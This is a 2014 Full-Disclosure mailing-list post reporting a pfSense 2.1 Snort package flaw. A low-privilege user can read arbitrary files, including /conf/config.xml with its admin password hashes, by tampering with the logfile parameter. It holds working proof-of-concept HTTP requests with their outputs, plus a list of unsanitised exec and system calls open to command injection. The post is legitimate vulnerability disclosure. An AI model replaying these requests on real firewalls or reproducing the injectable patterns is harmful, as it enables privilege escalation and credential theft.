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By Date By Thread pfSense 2.1 Privilege Escalation from less privileged users (LFI/RCE) From: Pichaya Morimoto <pichaya () ieee org>

Date: Mon, 27 Jan 2014 22:07:13 +0700

###################################################################### # _ ___ _ _ ____ ____ _ _____ # | | / _ \| \ | |/ ___|/ ___| / \|_ _| # | | | | | | \| | | _| | / _ \ | | # | |__| |_| | |\ | |_| | |___ / ___ \| | # |_____\___/|_| \_|\____|\____/_/ \_\_| # # Exploit Title: pfSense 2.1 Privilege Escalation from less privileged users (LFI/RCE) # Date: 25/01/2014 (0-day) # Exploit Author: @u0x (Pichaya Morimoto) # Software Link: www.pfsense.org # Category: Local File Inclusion (LFI) & Privilege Escalation # Version: pfSense 2.1 build 20130911-1816 with snort 2.9.5.5 pkg v.3.0.2 # ##################################################################### pfSense firewall/router distribution description : ====================================================================== pfSense is a free, open source customized distribution of FreeBSD tailored for use as a firewall and router. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. pfSense is a popular project with more than 1 million downloads since its inception, and proven in countless installations ranging from small home networks protecting a PC and an Xbox to large corporations, universities and other organizations protecting thousands of network devices. This project started in 2004 as a fork of the m0n0wall project, but focused towards full PC installations rather than the embedded hardware focus of m0n0wall. pfSense also offers an embedded image for Compact Flash based installations, however it is not our primary focus. Attack Scenario ====================================================================== Authenticated users with only permission to access some packages in web gui (a.k.a. webConfigurator) will be able to escalate themselves to other privileged admin by reading /conf/config.xml file through bugs (i.e. Snort LFI), result in fully compromise the pfSense. This attack abuse the user privilege scheme with some of official packages (System > Package Manager) * Session Hijacking also possible to steal less privileged user sessions to perform this trick due to "http" admin by default webConfigurator. Sample bug #1 : Snort Admin Privilege Escalation via Local File Inclusion Vulnerability Vulnerable file: ====================================================================== snort_log_view.php [+] Checksum SHA1: ec1330e804eb028f2410c8ef9439df103bb2764c MD5: cd767e46a4e9e09ede7fd26560e37f14 Vulnerable Source Code : ====================================================================== http://www.pfsense.com/packages/config/snort/snort_log_view.php https://github.com/pfsense/pfsense-packages/blob/master/config/snort/snort_log_view.php …(deducted)... $contents = ''; // Read the contents of the argument passed to us. // Is it a fully qualified path and file? if (file_exists($_GET['logfile'])) $contents = file_get_contents($_GET['logfile']); // It is not something we can display, so print an error. else $contents = gettext("



ERROR -- File: {$_GET['logfile']} not found!"); $pgtitle = array(gettext("Snort"), gettext("Log File Viewer")); ?> …(deducted)... <textarea style="width:100%; height:100%;" readonly wrap="off" rows="33" cols="80" name="code2"><?=$contents;?></textarea> …(deducted)... Proof of Concept 1 : Arbitrary File Inclusion ====================================================================== GET /snort/snort_log_view.php?logfile=/etc/passwd HTTP/1.1 Host: firewall1.pentestlab1:1337 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: th,en-US;q=0.8,en;q=0.6 Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083 HTTP/1.1 200 OK Expires: Mon, 27 Jan 2014 07:25:10 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: max-age=180000 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Last-Modified: Sat, 25 Jan 2014 05:25:10 GMT X-Frame-Options: SAMEORIGIN Pragma: no-cache Content-type: text/html Transfer-Encoding: chunked Date: Sat, 25 Jan 2014 05:25:10 GMT Server: lighttpd/1.4.32 …(deducted)... <td colspan="2" valign="top" class="label"> <div style="background: #eeeeee; width:100%; height:100%;" id="textareaitem"><!-- NOTE: The opening *and* the closing textarea tag must be on the same line. --> <textarea style="width:100%; height:100%;" readonly wrap="off" rows="33" cols="80" name="code2">root:*:0:0:Charlie &:/root:/bin/sh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin …(deducted)... havp:*:1003:2000:havp daemon:/nonexistent:/sbin/nologin squid:*:100:100:squid caching-proxy pseudo user:/var/squid:/usr/sbin/nologin c_icap:*:959:959:c-icap daemon:/var/empty:/usr/sbin/nologin snortadmin:*:2000:65534:Bill Gates:/home/snortadmin:/sbin/nologin …(deducted)... Proof of Concept 2 : Directory Traversal # This trick works on PHP 5.3.27 with Suhosin-Patch (cgi-fcgi) + Lighttpd/1.4.32 on FreeBSD 8.3 x64 ====================================================================== GET /snort/snort_log_view.php?logfile=../ HTTP/1.1 Host: firewall1.pentestlab1:1337 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: th,en-US;q=0.8,en;q=0.6 Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083 …(deducted)... ¬p.Z..­p firewall_rules_edit.php®p xmlrpc.php¯p wizard.php°p vpn_pptp_users_edit.php±pvpn_pptp_users.php²pvpn_pptp.php³pvpn_pppoe_edit.php´p vpn_pppoe.phpµp vpn_openvpn_server.php¶pvpn_openvpn_csc.php·p vpn_openvpn_client.php¸p vpn_l2tp_users_edit.php¹pvpn_l2tp_users.phpºpvpn_l2tp.php»p vpn_ipsec_phase2.php¼p vpn_ipsec_phase1.php½p(vpn_ipsec_mobile.php¾p vpn_ipsec_keys_edit.php¿pvpn_ipsec_keys.phpÀp vpn_ipsec.phpÁpuploadconfig.phpÂptreeview.cssÃpwizardsÏp tree-imagesÛp0$system_usermanager_settings_test.phpÜp8,system_usermanager_settings_ldapacpicker.phpÿÿÿÝp(system_usermanager_settings.phpÞp,! …(deducted)... Proof of Concept 3 : Privilege Escalation # -rw-r--r-- root wheel 30k Jan 25 11:35 config.xml ====================================================================== GET /snort/snort_log_view.php?logfile=/conf/config.xml HTTP/1.1 Host: firewall1.pentestlab1:1337 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: th,en-US;q=0.8,en;q=0.6 Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083 …(deducted)... <group> <name>office</name> <description><![CDATA[Main Office Employees]]></description> <member>2000</member> <gid>2000</gid> </group> <user> <name>admin</name> <descr><![CDATA[System Administrator]]></descr> <scope>system</scope> <groupname>admins</groupname> <password>$1$y8KiO3ow$mmMX4R0hE…(deducted)...</password> <uid>0</uid> <priv>user-shell-access</priv> <md5-hash>d4383b6f4c9fa…(deducted)...</md5-hash> <nt-hash>356239666432306265376131653…(deducted)...</nt-hash> </user> …(deducted)... P.S. There are many other ways to escalate from less-privileged users using official packages. For example, some OS command injections (Feel free to dig deeper than me.. LoL) arping/arping.inc:38: system("arping -c3 " . $_POST['hostip']); tinc/tinc.inc:173: mwexec("/sbin/ifconfig {$realif} -group " . $a_ifgroups[$_GET['id']]['ifname']); spamd/spamd_db_ext.php:57:exec("echo {$_GET['action']} > /tmp/tmp"); spamd/spamd_db.php:106: $status = exec("/usr/local/sbin/spamdb | grep \"{$_GET['getstatus']}\""); freeswitch_dev/v_profiles.tmp:38: exec("cp ".$v_conf_dir.".orig/sip_profiles/".$_GET['f']." ".$v_conf_dir."/sip_profiles/".$_GET['f']); freeswitch_dev/v_profiles.tmp:60: exec("rm ".$v_conf_dir."/sip_profiles/".$_GET['f']); snort-dev/snortsam-package-code/snort_new.inc:112: exec("/bin/ln -s /usr/local/etc/snort/snortDBrules/DB/{$_POST['ruledbname']}/rules {$pathToSnortDir}/{$newSnortDir}/rules"); snort-dev/snortsam-package-code/snort_new.inc:129: $sidLinePosPre = exec('/usr/bin/sed -n /sid:' . $_POST['snortSidNum'] . '\;/= ' . $workingFile); # Special Thanks : Xelenonz, pistachio, pe3z and 2600 Thailand. # Video PoC (Thai version) : https://www.youtube.com/watch?v=dGwOUccGZnE _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ By Date By Thread Current thread: pfSense 2.1 Privilege Escalation from less privileged users (LFI/RCE) Pichaya Morimoto (Jan 28)